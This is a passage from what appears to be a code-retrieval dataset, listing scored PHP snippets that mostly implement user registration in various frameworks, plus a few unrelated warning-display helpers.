numbers are allowed, 2 to 64 characters\";\n } elseif (empty($_POST['user_email'])) {\n $this->errors[] = \"Email cannot be empty\";\n } elseif (strlen($_POST['user_email']) > 64) {\n $this->errors[] = \"Email cannot be longer than 64 characters\";\n } elseif (!filter_var($_POST['user_email'], FILTER_VALIDATE_EMAIL)) {\n $this->errors[] = \"Your email address is not in a valid email format\";\n } elseif (!empty($_POST['user_name'])\n && strlen($_POST['user_name']) <= 64\n && strlen($_POST['user_name']) >= 2\n && preg_match('/^[a-z\\d]{2,64}$/i', $_POST['user_name'])\n && !empty($_POST['user_email'])\n && strlen($_POST['user_email']) <= 64\n && filter_var($_POST['user_email'], FILTER_VALIDATE_EMAIL)\n && !empty($_POST['user_password_new'])\n && !empty($_POST['user_password_repeat'])\n && ($_POST['user_password_new'] === $_POST['user_password_repeat'])\n ) {\n // create a database connection\n $this->db_connection = new mysqli(DB_HOST, DB_USER, DB_PASS, DB_NAME);\n\n // change character set to utf8 and check it\n if (!$this->db_connection->set_charset(\"utf8\")) {\n $this->errors[] = $this->db_connection->error;\n }\n\n // if no connection errors (= working database connection)\n if (!$this->db_connection->connect_errno) {\n\n // escaping, additionally removing everything that could be (html/javascript-) code\n $user_name = $this->db_connection->real_escape_string(strip_tags($_POST['user_name'], ENT_QUOTES));\n $user_last = $this->db_connection->real_escape_string(strip_tags($_POST['user_last'], ENT_QUOTES));\n $user_email = $this->db_connection->real_escape_string(strip_tags($_POST['user_email'], ENT_QUOTES));\n\n $user_password = $_POST['user_password_new'];\n\n // crypt the user's password with PHP 5.5's password_hash() function, results in a 60 character\n // hash string. the PASSWORD_DEFAULT constant is defined by the PHP 5.5, or if you are using\n // PHP 5.3/5.4, by the password hashing compatibility library\n $user_password_hash = password_hash($user_password, PASSWORD_DEFAULT);\n\n // check if user or email address already exists\n $sql = \"SELECT * FROM users WHERE user_email = '\" . $user_email . \"';\";\n $query_check_user_name = $this->db_connection->query($sql);\n\n if ($query_check_user_name->num_rows == 1) {\n $this->errors[] = \"<div class='alert alert-danger center' role='alert'> Sorry, that username / email address is already taken. </div>\";\n } else {\n // write new user's data into database\n $sql = \"INSERT INTO users (user_name, user_last, user_password_hash, user_email)\n VALUES('\" . $user_name . \"', '\" . $user_last . \"', '\" . $user_password_hash . \"', '\" . $user_email . \"');\";\n $query_new_user_insert = $this->db_connection->query($sql);\n\n // if user has been added successfully\n if ($query_new_user_insert) {\n $this->messages[] = \"<div class='alert alert-success center' role='alert'> Your account has been created successfully. Please check your emails.</div>\";\n\n // Load username and datejoined for verifcation via email hashing\n $sql=\"SELECT `user_id`, `user_name`, `user_date_joined` FROM `users` WHERE `user_email` = '\" . $user_email . \"';\";\n $query_load_hash_verify = $this->db_connection->query($sql);\n\n // if loaded then include send email and display message\n if ( $query_load_hash_verify) {\n $result_row = $query_load_hash_verify -> fetch_object();\n $codeid = $result_row->user_id;\n $code2 = md5($result_row->user_name);\n $code3 = md5($result_row->user_date_joined);\n\n // created a hash of when the user joined split it into two parts\n $cuthashtime = substr($code3, 0, 4);\n $endhashtime = substr($code3, -4); \n\n $hashedname = $code2;\n $middlehashname = substr($hashedname, 0, 4);\n\n include 'Email.php';\n } else {\n $this->errors[] = \"<div class='alert alert-danger center' role='alert'> Sorry, but we couldn't send your email. Please contact support.</div>\";\n }\n } else {\n $this->errors[] = \"<div class='alert alert-danger center' role='alert'> Sorry, your registration failed. Please go back and try again. </div>\";\n }\n }\n } else {\n $this->errors[] = \"<div class='alert alert-danger center' role='alert'> Sorry, no database connection. </div>\";\n }\n } else {\n $this->errors[] = \"<div class='alert alert-danger center' role='alert'> An unknown error occurred. </div>\";\n }\n }", "title": "" }, { "docid": "c59e82cc9d51f06c592f88524ab9843d", "score": "0.6666521", "text": "public function registerViaRequest()\n {\n return User::create(array_merge([\n 'password' => bcrypt(input('password')),\n ], only('email', 'name', 'is_public')));\n }", "title": "" }, { "docid": "8044be1979570ae0cabd91c20ec5655a", "score": "0.66582483", "text": "protected function create(array $data)\n {\n $user = User::create([\n 'firstname' => $data['firstname'],\n 'lastname' => $data['lastname'],\n 'email' => $data['email'],\n 'role_id' => '3',\n 'status' => '0',\n 'territory' => $data['territory'],\n 'password' => bcrypt($data['password']),\n ]);\n $user->assignRole('client');\n try {\n EmailHelper::emailConfigChanges('user');\n Mail::send('emails.confirm-email', ['user' => $user, 'password' => false], function ($message) use ($user) {\n $message->from(config('mail.from.address'), config('mail.from.name'));\n $message->to($user->email);\n $message->bcc(config('site.bcc_users'));\n $message->subject(config('mail.from.name') . ': Verify your online account.');\n });\n } catch (\\Exception $e) {\n Log::info($e);\n }\n return $user;\n }", "title": "" }, { "docid": "48476ba2215fe146852a38dc3d010b81", "score": "0.6656376", "text": "public function store(CreateUserRequest $request)\n {\n\n // Try creating new user\n $newUser = User::createUserWithProfile($request->all());\n\n // Event new registered user\n event(new Registered($newUser));\n // Send user registered notification\n $newUser->sendUserRegisteredNotification();\n\n // Check if user need to verify email if not app will try to login the new user\n if (config('access.users.verify_email')) {\n // Send Email for Verification\n $newUser->sendEmailVerificationNotification();\n }\n\n return $newUser->sendResponse();\n }", "title": "" }, { "docid": "76f6d7bcd785f3290401c0318c8172c1", "score": "0.6650788", "text": "protected function create(array $data)\n {\n\n $user = User::create([\n 'first_name' => $data['first_name'],\n 'last_name' => $data['last_name'],\n 'email' => $data['email'],\n 'password' => Hash::make($data['password']),\n 'user_type' => $data['user_type'],\n 'active' => true,\n 'confirmed' => true,\n 'confirmation_code' => md5(uniqid(mt_rand(), true)),\n ]);\n\n // See if adding any additional permissions\n // if (! isset($data['permissions']) || ! count($data['permissions'])) {\n // $data['permissions'] = [];\n // }\n\n if ($user) {\n // User must have at least one role\n // if (! count($data['roles'])) {\n // throw new GeneralException(__('This User Needs atleast One Role'));\n // }\n\n // Add selected roles/permissions\n // $user->syncRoles($data['roles']);\n // $user->syncPermissions($data['permissions']);\n $user->assignRole('Organisation Superadmin');\n $user ->givePermissionTo('View Backend');\n\n //Send confirmation email if requested and account approval is off\n // if (isset($data['confirmation_email']) && $user->confirmed == 0 && ! config('access.users.requires_approval')) {\n // $user->notify(new UserNeedsConfirmation($user->confirmation_code));\n // }\n\n // event(new UserCreated($user));\n\n return $user;\n }\n\n }", "title": "" }, { "docid": "067c46eb7e6937d380e75b996ef75389", "score": "0.66468096", "text": "protected function create(array $data)\n {\n return User::create([\n 'first_name' => $data['first_name'],\n 'last_name' => $data['last_name'],\n 'gender'=>$data['gender'],\n 'tel_mobile'=>$data['tel_mobile'],\n 'country_code'=>$data['country_code'],\n 'email' => $data['email'],\n 'password' => bcrypt($data['password']),\n 'activated' => !config('settings.send_activation_email')\n ]);\n }", "title": "" }, { "docid": "82ac69d61b1f2f56a939a99bc89ef6b6", "score": "0.6645676", "text": "protected function createUser()\n {\n $this->question('Enter your details for the admin user.');\n\n $user = \\App\\User::create([\n 'name' => $this->ask('Name', 'Admin'),\n 'email' => $this->ask('Email address', 'noreply@'.str_replace(['http://', 'https://'], '', config('app.url'))),\n 'password' => Hash::make($this->ask('Password')),\n ]);\n \n $this->info(\"Admin user created successfully. You can log in with username {$user->email}\");\n }", "title": "" }, { "docid": "a75ad369e9645c5d26724db31efb600e", "score": "0.66385514", "text": "public function createBlankUser()\r\n {\r\n $user = CrugeFactory::get()->getICrugeStoredUserNewModel();\r\n if ($user != null) {\r\n // asegura que no falle al validar por terminos y condiciones\r\n $user->terminosYCondiciones = true;\r\n // asegura que no falle al validar por captcha\r\n //\tcruge\\models\\data\\CrugeStoredUser.php (bypassCaptcha y _getCaptchaRule)\r\n $user->bypassCaptcha = true;\r\n return $user;\r\n } else {\r\n return null;\r\n }\r\n }", "title": "" }, { "docid": "7c843d2ea7db0648f2a48ad69bd07494", "score": "0.6634876", "text": "public function newUser($user)\n\t{\n\t\t$input = $user;\n\t\t$rules = array(\n\t\t\t'username' => 'required|alpha_num|max:25|unique:users',\n\t\t\t'password' => 'required|min:8|max:25|confirmed',\n\t\t\t'dob' => 'required|before:'.date('Y-m-d', strtotime('-13 years')),\n\t\t\t'gender' => 'required|in:M,F',\n\t\t\t'email' => 'required|email|unique:users',\n\t\t\t'location' => 'regex:/[a-zA-Z0-9 \\-_]*/',\n\t\t\t'wug_api' => 'required_with:location|alpha_num'\n\t\t);\n\n\t\t$validation = Validator::make($input, $rules);\n\n\t\tif ($validation->fails())\n\t\t{\n\t\t return $validation->messages();\n\t\t}\n\n\t\t$api = new Api();\n\t\t$key = $api->randomString(40);\n\n\t\t$loc_id = NULL;\n\n\t\tif(!empty($input['location'])) {\n\t\t\t$loc = new Location();\n\t\t\t$loc_id = $loc->insertGetId(array(\n\t\t\t\t'location' => $input['location'],\n\t\t\t\t'wug_api' => $input['wug_api'],\n\t\t\t));\n\t\t}\n\n\t\t$user = new User();\n\t\t$user->api_key = $key;\n\t\t$user->username = $input['username'];\n\t\t$user->password = Hash::make($input['password']);\n\t\t$user->dob = $input['dob'];\n\t\t$user->gender = $input['gender'];\n\t\t$user->location_id = $loc_id;\n\t\t$user->email = $input['email'];\n\n\t\t$user->save();\n\n\t\treturn true;\n\t}", "title": "" }, { "docid": "5e993ad9fbd13f8119a2e042a68c9d2d", "score": "0.6629156", "text": "function registerUser()\n {\n $DBA = new DatabaseInterface();\n $fields = array(0 => 'title', 1 => 'first_name', 2 => 'last_name', 3 => 'contacttelephone', 4 => 'contactemail', 5 => 'password', 6 => 'username', 7 => 'dob', 8 => 'house', 9 => 'street', 10 => 'town', 11 => 'county', 12 => 'pcode', 13 => 'optout', 14 => 'newsletter', 15 => 'auth_level', 16 => 'store_owner');\n $fieldvals = array(0 => $this->Title, 1 => $this->FirstName, 2 => $this->LastName, 3 => $this->ContactTelephone, 4 => $this->ContactEmail, 5 => $this->Password, 6 => $this->Username, 7 => $this->DOB, 8 => $this->House, 9 => $this->Street, 10 => $this->Town, 11 => $this->County, 12 => $this->PCode, 13 => $this->Optout, 14 => $this->NewsletterSubscriber, 15 => $this->AuthLevel, 16 => 1);\n $rs = $DBA->insertQuery(DBUSERTABLE, $fields, $fieldvals);\n if ($rs == 1)\n {\n $this->RegistrationSuccess = 1;\n }\n if (isset($this->PCode))\n {\n $this->geoLocate();\n }\n }", "title": "" }, { "docid": "8bc9acd096e85d5d7b169c7d1caded89", "score": "0.66243297", "text": "public function newAppUser()\n {\n $email = filter_input(INPUT_POST, 'email', FILTER_SANITIZE_STRING);\n $name = filter_input(INPUT_POST, 'name', FILTER_SANITIZE_STRING);\n $password = filter_input(INPUT_POST, 'password', FILTER_SANITIZE_STRING);\n $role = filter_input(INPUT_POST, 'role', FILTER_SANITIZE_STRING);\n $status = filter_input(INPUT_POST, 'status', FILTER_SANITIZE_NUMBER_INT);\n\n $errorList = [];\n if (empty($email)) {\n $errorList[] = 'Vous devez saisir un email';\n }\n if (empty($name)) {\n $errorList[] = 'Vous devez saisir un nom';\n }\n if (empty($password)) {\n $errorList[] = 'Vous devez saisir un mot de passe';\n }\n if (empty($role)) {\n $errorList[] = 'Vous devez saisir un rôle';\n }\n\n if (empty($errorList)) {\n $user = new AppUser();\n $user->setEmail($email);\n $user->setName($name);\n $user->setPassword($password);\n $user->setRole($role);\n $user->setStatus($status);\n\n $inserted = $user->create();\n\n if ($inserted) {\n global $router;\n header('Location: ' . $router->generate('appusers-list'));\n return;\n } else {\n $errorList[] = 'L\\'insertion des données s\\'est mal passée';\n }\n }\n\n if (!empty($errorList)) {\n $user = new AppUser();\n $user->setEmail($email);\n $user->setName($name);\n $user->setPassword($password);\n $user->setRole($role);\n $user->setStatus($status);\n\n $this->show('users/add', [\n 'errorList' => $errorList,\n 'user' => $user\n ]);\n }\n }", "title": "" }, { "docid": "db70517d5385d18cdf32f7ff51bdb69d", "score": "0.66243136", "text": "public function create(UserCreateRequest $request): User\n {\n // TODO: Implement create() method.\n }", "title": "" }, { "docid": "1cef2f7c88d3dc33514f04960e3ecaa9", "score": "0.66239494", "text": "public function execute(array $data) : User\n {\n $data['password'] = Hash::make($data['password']);\n\n //We will create activation code to be used for Email Confirmation\n $data['activation_token'] = QioskApp::createToken('email');\n\n //Now we create the user by adding it to our database\n $user = $this->User::create($data);\n\n //throws an exception if user hasnt yet created\n if (!$user) {\n throw new CustomException('Registration falied!', 500);\n }\n\n //dispatch an event to send confirmation email and log user creation\n event(new $this->signedUpEvent($user));\n\n return $user;\n }", "title": "" }, { "docid": "7c714ad88f478d7d635ee72d7687565d", "score": "0.66212934", "text": "public function createRegister(){\n\t\t$userRepo = new UserRepository(App::getInstance());\n\n\t\t//check if user exists first. Search user by email.\n\t\t$user = $userRepo->getUserByEmail($_POST['email']);\n\t\tif($user!=null){\n\t\t\t//Error Message\n\t\t\treturn view('newRegForm')->with('error', true);\n\t\t}\n\n\t\telse{\n\t\t\t//Creates a new user and then returns ALL the registers to the view\n\t\t\t$user = new User($_POST);\n\t\t\t$user = $userRepo->create($user);\n\t\t\t$user = $userRepo->selectAll();\n\n\t\t\treturn view('viewRegisters')->with(['users'=>$user,'error'=>false]);\n\t\t}\n\t}", "title": "" }, { "docid": "b9b6184d2ea7cf4f6ff9b8a57df5b710", "score": "0.66176444", "text": "public function registerAction(Request $request){\n //for the view\n $params = array(\"title\" => _(\"Sign up\"), \"errors\" => array());\n\n $params['username'] = \"\";\n $params['email'] = \"\";\n\n //handle register form\n if ($request->isMethod('post')){\n\n $username = $request->input('username');\n $params['username'] = $username;\n $email = $request->input('email');\n $params['email'] = $email;\n $password = $request->input('password');\n $password_bis = $request->input('password_bis');\n\n //validation\n $validator = new CustomValidator();\n\n $validator->validateUsername($username);\n $validator->validateUniqueUsername($username);\n $validator->validateEmail($email);\n $validator->validateUniqueEmail($email);\n $validator->validatePassword($password);\n $validator->validatePasswordBis($password_bis, $password);\n\n if ($validator->isValid()){\n //hydrate user obj\n $securityHelper = new SH();\n $user = new User();\n \n $user->setNewUuid();\n $user->setUsername( $username );\n $user->setEmail( $email );\n $user->setEmailValidated(false);\n $user->setRole( \"user\" );\n $user->setSalt( SH::randomString() );\n $user->setToken( SH::randomString() );\n $user->setSiteLanguage( 'en' );\n $user->setActive( true );\n\n $hashedPassword = $securityHelper->hashPassword( $password, $user->getSalt() );\n \n $user->setPassword( $hashedPassword );\n// $user->setIpAtRegistration( $_SERVER['REMOTE_ADDR'] );\n $user->setIpAtRegistration($request->ip());\n $user->setDateCreated( time() );\n $user->setDateModified( time() );\n\n //save it\n $userManager = new UserManager();\n $userManager->save($user);\n// @TODO: MAILER\n// send email confirmation message\n// $mailer = new Mailer();\n//\n// $mailerResult = $mailer->sendRegistrationConfirmation($user);\n\n //log user in right now (will redirect home)\n $this->logUser($request, $user);\n// $this->logUser($request, $user);\n $json = new JsonResponse();\n $json->setData(array(\"redirectTo\" => Route('graph')));\n $json->send();\n }\n //not valid\n else {\n $errors = $validator->getErrors();\n $params[\"errors\"] = $errors;\n return response()->json([\n 'error' => $errors\n ],400);\n }\n\n }\n return view('auth.register',['params'=> $params]);\n// $view = new View(\"register.php\", $params);\n// $view->setLayout(\"../View/layouts/modal.php\");\n// $view->send(true);\n }", "title": "" }, { "docid": "77d613c4afc85db0355b076c67576c76", "score": "0.6614809", "text": "public function signup()\n {\n if ($this->validate()) {\n $user = new User();\n $user->username = $this->username;\n $user->first_name = $this->firstName;\n $user->last_name = $this->lastName;\n $user->email = $this->email;\n $user->setPassword($this->password);\n $user->generateAuthKey();\n $user->ip = Yii::$app->request->getUserIP();\n $user->ua = Yii::$app->request->getUserAgent();\n if ($user->save()) {\n $this->user = $user;\n $this->sendMail();\n return $user;\n }\n }\n\n return false;\n }", "title": "" }, { "docid": "f02509c861664c58d22a9301e5c783f1", "score": "0.6607175", "text": "protected function create(array $data)\n {\n $userData = Request::all();\n $confirmationCode = str_random(30);\n\n $fields = [\n 'name' => $data['name'],\n 'email' => $data['email'],\n 'password' => bcrypt($data['password']),\n ];\n if (config('auth.providers.users.field', 'email') === 'username' && isset($data['username'])) {\n $fields['username'] = $data['username'];\n }\n\n //return User::create($fields);\n //create user with role and permisssion\n $user = new User;\n $user->name = $userData['name'];\n $user->email = $userData['email'];\n $user->password = Hash::make($userData['password']);\n $user->confirmation_code = $confirmationCode;\n $user->save();\n\n //adding roles to a user\n $user->assignRole('user');\n //adding permissions to a user\n $user->givePermissionTo('edit not allowed');\n //user id $user->id\n //save userlocation info\n $this->SaveUserMeta($user->id, \"182.185.148.11\");\n //send verification email.\n $this->SendActivationEmail($confirmationCode);\n\n return $user;\n\n }", "title": "" }, { "docid": "15ed1790693b44522c5cdc60c87dae89", "score": "0.6601911", "text": "public function creating(User $user)\n {\n if (empty($user->login)) {\n $user->login = $user->email;\n }\n\n if (null === $user->my_id || empty($user->my_id)) {\n $user->my_id = generateMyId();\n }\n }", "title": "" }, { "docid": "5955b72f1b252d379e8dc7c3a838fe1f", "score": "0.66013247", "text": "public function registerUser() {\n $this->form_validation->set_rules('username', 'Username', 'trim|required|min_length[5]|max_length[12]|is_unique[user.username]',\n array('min_length' => 'Username length has to be between 5 & 12 characters.',\n 'max_length' => 'Username length has to be between 5 & 12 characters.',\n 'is_unique' => 'Username is already in use.'));\n $this->form_validation->set_rules('password', 'Password', 'required|min_length[8]|max_length[16]|matches[confirmPassword]',\n array('min_length' => 'Password length has to be between 8 & 16 characters.',\n 'max_length' => 'Password length has to be between 8 & 16 characters.',\n 'matches' => 'Passwords do not match.'));\n $this->form_validation->set_rules('confirmPassword', 'Password Confirmation', 'required');\n $this->form_validation->set_rules('emailAddress', 'Email Address', 'trim|required|valid_email|is_unique[user.userEmail]',\n array('valid_email' => 'Email is not valid.',\n 'is_unique' => 'Email is already in use.'));\n\n if ($this->form_validation->run() == FALSE) {\n $this->registration();\n\n } else {\n $formUsername = $this->input->post('username');\n $formPassword = $this->input->post('password');\n $formEmailAddress = $this->input->post('emailAddress');\n $this->UserManager->registerUser($formUsername, $formPassword, $formEmailAddress);\n $this->login();\n }\n }", "title": "" }, { "docid": "13bd2000b370a13c967e40adef98c6be", "score": "0.65973485", "text": "protected function create(array $data)\n {\n $user = User::create([\n 'email' => $data['registerEmail'],\n 'password' => bcrypt($data['registerPassword']),\n 'status' => 'active'\n ]);\n\n $user->profile()->create($data['profile']);\n $user->travelInformation()->create($data['travel']);\n\n return $user;\n }", "title": "" }, { "docid": "c9f7f589328cf220a503180b1347286e", "score": "0.6595453", "text": "public function createUser()\n {\n $c = $this->getConnectionWithConfig('default');\n\n // First we create the record that we need to update\n $create = 'CREATE (u:User {name: $name, email: $email, username: $username})';\n // The bindings structure is a little weird, I know\n // but this is how they are collected internally\n // so bare with it =)\n $createCypher = $c->getCypherQuery($create, array(\n 'name' => $this->user['name'],\n 'email' => $this->user['email'],\n 'username' => $this->user['username'],\n ));\n\n return $this->client->run($createCypher['statement'], $createCypher['parameters']);\n }", "title": "" }, { "docid": "781edb908969b70aa228327712066650", "score": "0.65950507", "text": "public function save(CreateUserRequest $request)\n {\n $this->authorize('create', User::class);\n\n $pass = $this->get_password($request);\n $user = User::create([\n 'name' => $request->input('name'),\n 'phone_number' => $request->input('phone_number'),\n 'email' => $request->input('email'),\n 'password' => bcrypt($pass),\n 'role_id' => $request->input('role_id', 3)\n ]);\n\n $user->notify(new AdminUserCreated($user, $pass));\n\n return redirect()->route('active_user', $user->id);\n }", "title": "" }, { "docid": "bf871591b1cfa41f5cc1c4b0bc050ca3", "score": "0.65944815", "text": "public function create(CreateUserRequest $request) {\n $user = $request->commit();\n\n //Trigger user edited event\n event(new UserCreated($user));\n\n //Reloads page\n return redirect()->action('Platform\\UserController@edit', $user)->with('alert', [\n 'type' => 'success',\n 'message' => 'User created'\n ]);\n }", "title": "" }, { "docid": "a836c01ed3bf4fd3669c98a78dcf40b4", "score": "0.6586079", "text": "function register_user() {\n\t\tglobal $ID, $lang, $conf, $auth, $yubikey_associations;\n\n\t\tif(!$auth->canDo('addUser')) return false;\n\n\t\t$_POST['login'] = $_POST['nickname'];\n\n\t\t// clean username\n\t\t$_POST['login'] = preg_replace('/.*:/','',$_POST['login']);\n\t\t$_POST['login'] = cleanID($_POST['login']);\n\t\t// clean fullname and email\n\t\t$_POST['fullname'] = trim(preg_replace('/[\\x00-\\x1f:<>&%,;]+/','',$_POST['fullname']));\n\t\t$_POST['email'] = trim(preg_replace('/[\\x00-\\x1f:<>&%,;]+/','',$_POST['email']));\n\n\t\tif (empty($_POST['login']) || empty($_POST['fullname']) || empty($_POST['email'])) {\n\t\t\tmsg($lang['regmissing'], -1);\n\t\t\treturn false;\n\t\t} else if (!mail_isvalid($_POST['email'])) {\n\t\t\tmsg($lang['regbadmail'], -1);\n\t\t\treturn false;\n\t\t}\n\n\t\t// okay try to create the user\n\t\tif (!$auth->createUser($_POST['login'], auth_pwgen(), $_POST['fullname'], $_POST['email'])) {\n\t\t\tmsg($lang['reguexists'], -1);\n\t\t\treturn false;\n\t\t}\n\n\t\t$user = $_POST['login'];\n\t\t$yubikey = $_SERVER['REMOTE_USER'];\n\n\t\t// if our yubikey id is based on a non-registered user, we need to chunk off the \"yubikey:\"\n\t\t// part of it\n\t\tif (preg_match('!^yubikey:!', $yubikey)) {\n\t\t\t$yubikey = substr($yubikey, 8);\n\t\t}\n\n\t\t// we update the YubiKey associations array\n\t\t$this->register_yubikey_association($user, $yubikey);\n\n\t\t$this->update_session($user);\n\n\t\t// account created, everything OK\n\t\t$this->_redirect(wl($ID));\n\t}", "title": "" }, { "docid": "7047b68e84afe1bf4ea1c460dfc1a534", "score": "0.65689844", "text": "public function store(UserCreateRequest $request): UserResource\n {\n /* Convert request to array */\n $data = $request->all();\n\n /* Hashing password */\n $data['password'] = bcrypt($request->input('password'));\n\n /* Store data to database */\n $user = User::create($data);\n\n /* Send Register email to the user */\n event(new Registered($user));\n\n activity(\"Admin\")\n ->on($user)\n ->withProperties([\n ['IP' => $request->ip()],\n ['user_data' => $request->all()],\n ])\n ->log('Store a user');\n\n return new UserResource($user->loadMissing('plans'));\n }", "title": "" } ]
3526b5d7f362425e3396cbfb887fdfc8
Returns the NoScript warning
[ { "docid": "c46d05c9674de8cfc41de1ba24ca5e4e", "score": "0.80389816", "text": "public function noScriptWarning() {\n\t\t$return = \"<noscript><h4>Sorry, this site currently requires Javascript to be enabled</h4></noscript>\";\n\t}", "title": "" } ]
[ { "docid": "3bfc8472eb9c1105f4197b6dbde06963", "score": "0.66261506", "text": "protected function warning()\n {\n return $this->warn(\"You have no commands to run !\");\n }", "title": "" }, { "docid": "22ea2d76340372cecd7730d3755dcd03", "score": "0.63469774", "text": "public function getWarning();", "title": "" }, { "docid": "db8c738cc55a2eb545bdc57a03dbc0c1", "score": "0.63199234", "text": "public function maybe_disable_scripts_notice() {\n\n\t\tif ( get_option( 'yourfitness_compile_all_scripts' ) && yourfitness_tt_is_compiler_dev_mode() )\n\t\t\techo '<br /><span>' . esc_html__( 'Scripts are not compiled in development mode.', 'your-fitness' ) . '</span>';\n\n\t}", "title": "" }, { "docid": "7b8e598b6cc23f3e1abc67702b307ec0", "score": "0.6210526", "text": "public static function warning()\n {\n static::returnCode(static::CODE_WARNING);\n }", "title": "" }, { "docid": "838224a72b025d15e4d7e527d47e713a", "score": "0.5932832", "text": "function noscript_message($redirect = true, $time = 1)\n\n\t{\n\n\t\t$page_name\t= functions::get_page_name();\n\n\t\tif($page_name != 'error.php' )\n\n\t\t{\n\n\t\t\techo '<noscript>\n\n\t\t\t\t\t<table bgcolor=\"#FF0000\" width=\"100%\">\n\n\t\t\t\t\t\t<tr>\n\n\t\t\t\t\t\t\t<td align=\"center\">\n\n\t\t\t\t\t\t\t\t<b><font color=\"#FFFFFF\">' . constant(\"ER_00002\") . '</font></b>\n\n\t\t\t\t\t\t\t</td>\n\n\t\t\t\t\t\t</tr>\n\n\t\t\t\t\t</table>';\n\n\t\t\t\t\tif($redirect)\n\n\t\t\t\t\t{\n\n\t\t\t\t\t\t//echo '<meta http-equiv=\"refresh\" content=\"' . $time . '; url=error.php?eid=ER_00002\" >';\n\n\t\t\t\t\t}\n\n\t\t\techo '</noscript>';\n\n\t\t}\n\n\t}", "title": "" }, { "docid": "57bcc9473dc066dc295e36e7eb22a928", "score": "0.5767177", "text": "public function warning($string);", "title": "" }, { "docid": "f37a2dc06f2eb068aac709dbd09f1dbb", "score": "0.5758486", "text": "public static function warningHandler()\n {\n }", "title": "" }, { "docid": "40930c5aae89ae1b8a68811e93df4ab8", "score": "0.5750876", "text": "function show_warnings()\r\n\t{\r\n\t\tglobal $lang, $templates;\r\n\r\n\t\tif(empty($this->warnings))\r\n\t\t{\r\n\t\t\treturn false;\r\n\t\t}\r\n\r\n\t\t// Incase a template fails and we're receiving a blank page.\r\n\t\tif(MANUAL_WARNINGS)\r\n\t\t{\r\n\t\t\techo $this->warnings.\"<br />\";\r\n\t\t}\r\n\r\n\t\tif(!$lang->warnings)\r\n\t\t{\r\n\t\t\t$lang->warnings = \"The following warnings occurred:\";\r\n\t\t}\r\n\r\n\t\t$template_exists = false;\r\n\r\n\t\tif(!is_object($templates) || !method_exists($templates, 'get'))\r\n\t\t{\r\n\t\t\tif(@file_exists(MYBB_ROOT.\"inc/class_templates.php\"))\r\n\t\t\t{\r\n\t\t\t\t@require_once MYBB_ROOT.\"inc/class_templates.php\";\r\n\t\t\t\t$templates = new templates;\r\n\t\t\t\t$template_exists = true;\r\n\t\t\t}\r\n\t\t}\r\n\t\telse\r\n\t\t{\r\n\t\t\t$template_exists = true;\r\n\t\t}\r\n\r\n\t\t$warning = '';\r\n\t\tif($template_exists == true)\r\n\t\t{\r\n\t\t\teval(\"\\$warning = \\\"\".$templates->get(\"php_warnings\").\"\\\";\");\r\n\t\t}\r\n\r\n\t\treturn $warning;\r\n\t}", "title": "" }, { "docid": "52323f9e2d0874e6f19d71b9e7b8e9a1", "score": "0.5750604", "text": "static public function warning($message) {}", "title": "" }, { "docid": "0d04bea70480c25dd90a989ee7cbad99", "score": "0.5709299", "text": "public function warning(string $text);", "title": "" }, { "docid": "4555401b26a897b8ac4d4d650fc6bfc0", "score": "0.5623504", "text": "public function hasWarnings() {}", "title": "" }, { "docid": "50ce6045cb87aeee3f47ed405c546426", "score": "0.561348", "text": "public static function usageWarning()\n {\n $me = new EEI_Tcpdf;\n \n // check if cache folder is writeable\n if(!is_writable($me->tcpdf.DIRECTORY_SEPARATOR.'cache')) \n {\n $warning[] = '<span style=\"color:red\">The <font style=\"background-color:yellow;padding:5px\">'.\n $me->tcpdf.DIRECTORY_SEPARATOR.'cache'.\n '</font> folder seems not writable!</span>';\n }\n \n if(!isset($warning)) return 'All seems fine.';\n \n return implode(' / ', $warning);\n \n }", "title": "" }, { "docid": "34537cfab2441478352a777299beb66f", "score": "0.56063455", "text": "public function maybeShowNotice() {\n\t\tglobal $wp_version;\n\n\t\t$dismissed = get_option( '_aioseo_deprecated_wordpress_dismissed', true );\n\t\tif ( '1' === $dismissed ) {\n\t\t\treturn;\n\t\t}\n\n\t\t// Only show to users that interact with our pluign.\n\t\tif ( ! current_user_can( 'publish_posts' ) ) {\n\t\t\treturn;\n\t\t}\n\n\t\t// Only show if WordPress version is deprecated.\n\t\tif ( version_compare( $wp_version, '5.3', '>=' ) ) {\n\t\t\treturn;\n\t\t}\n\n\t\t$this->showNotice();\n\n\t\t// Print the script to the footer.\n\t\tadd_action( 'admin_footer', [ $this, 'printScript' ] );\n\t}", "title": "" }, { "docid": "1498b271d903d044da11042d757da1b6", "score": "0.55441666", "text": "public function admin_notices() {\n if ( 'no' === $this->enabled ) {\n return;\n }\n }", "title": "" }, { "docid": "f934c20dc76b16a363bc82d971643e59", "score": "0.5533353", "text": "public function getWarning(): ?string\n {\n return $this->warning;\n }", "title": "" }, { "docid": "cdbc24b7fe5b355bddbaab3b29d5c478", "score": "0.5522262", "text": "function warnings_script()\n{\n\tif (get_forum_type()!='ocf') warn_exit(do_lang_tempcode('NO_OCF')); else ocf_require_all_forum_stuff();\n\n\trequire_lang('ocf_warnings');\n\n\tif (!ocf_may_warn_members())\n\t\taccess_denied('SPECIFIC_PERMISSION','warn_members');\n\n\t$type=get_param('type');\n\n\tif ($type=='delete') // Delete a saved warning\n\t{\n\t\t$_title=post_param('title');\n\t\t$GLOBALS['FORUM_DB']->query_delete('f_saved_warnings',array('s_title'=>$_title),'',1);\n\t\t$content=paragraph(do_lang_tempcode('SUCCESS'));\n\t\t$echo=do_template('STYLED_HTML_WRAP',array('TITLE'=>do_lang_tempcode('DELETE_SAVED_WARNING'),'CONTENT'=>$content));\n\t\t$echo->evaluate_echo();\n\t\treturn;\n\t}\n\n\t// Show list of saved warnings\n\t// ---------------------------\n\n\t$content=new ocp_tempcode();\n\t$rows=$GLOBALS['FORUM_DB']->query_select('f_saved_warnings',array('*'),NULL,'ORDER BY s_title');\n\t$keep=symbol_tempcode('KEEP');\n\t$url=find_script('warnings').'?type=delete'.$keep->evaluate();\n\tforeach ($rows as $myrow)\n\t{\n\t\t$delete_link=hyperlink($url,do_lang_tempcode('DELETE'),false,false,'',NULL,form_input_hidden('title',$myrow['s_title']));\n\t\t$content->attach(do_template('OCF_SAVED_WARNING',array(\n\t\t\t'MESSAGE'=>$myrow['s_message'],\n\t\t\t'MESSAGE_HTML'=>comcode_to_tempcode($myrow['s_message'],$GLOBALS['FORUM_DRIVER']->get_guest_id()),\n\t\t\t'EXPLANATION'=>$myrow['s_explanation'],\n\t\t\t'TITLE'=>$myrow['s_title'],\n\t\t\t'DELETE_LINK'=>$delete_link,\n\t\t)));\n\t}\n\tif ($content->is_empty()) 